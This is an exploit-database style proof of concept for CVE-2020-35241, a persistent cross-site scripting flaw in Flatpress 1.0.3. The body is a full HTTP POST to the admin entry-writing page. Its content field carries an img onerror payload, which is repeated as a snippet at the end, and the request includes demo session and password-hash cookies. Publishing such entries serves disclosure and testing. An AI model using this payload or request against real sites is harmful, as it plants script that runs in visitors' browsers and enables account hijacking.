Flatpress Add Blog 1.0.3 – Persistent Cross-Site Scripting
# Exploit Title: Flatpress Add Blog 1.0.3 - Persistent Cross-Site Scripting # Date: 2020-09-19 # Exploit Author: Alperen Ergel # Vendor Homepage: https://www.flatpress.org/ # Software Link: https://github.com/evacchi/flatpress/releases/tag/v1.0.3 # Version: 1.0.3 # Tested on: windows 10 / xampp # CVE : CVE-2020-35241 # Proof Of Content POST /flatpress/admin.php?p=entry&action=write HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:80.0) Gecko/20100101 Firefox/80.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 223 Origin: http://localhost/ Connection: close Referer: http://localhost/flatpress/admin.php?p=entry&action=write Cookie: fpuser_fp-a53f4609=opensourcecms; fppass_fp-a53f4609=79dc9a3c529fcd0d9dc4fc7ff22187b6; fpsess_fp-a53f4609=71v18tu3lsc0s021q2pj8a3je7; _ga=GA1.2.487908813.1600520069; _gid=GA1.2.951134816.1600520069; _gat=1 Upgrade-Insecure-Requests: 1 _wpnonce=4fc4222db1&_wp_http_referer=%2Fflatpress%2Fadmin.php%3Fp%3Dentry%26action%3Dwrite&subject=XSS×tamp=1600526382& entry=entry200919-143942&attachselect=--&imageselect=--&content=<img src=x onerror='alert("TEST XSS")'/>&savecontinue=Save%26Continue # Snipp content=[PAYLOAD] //<img src=x onerror='alert("TEST XSS")'/> |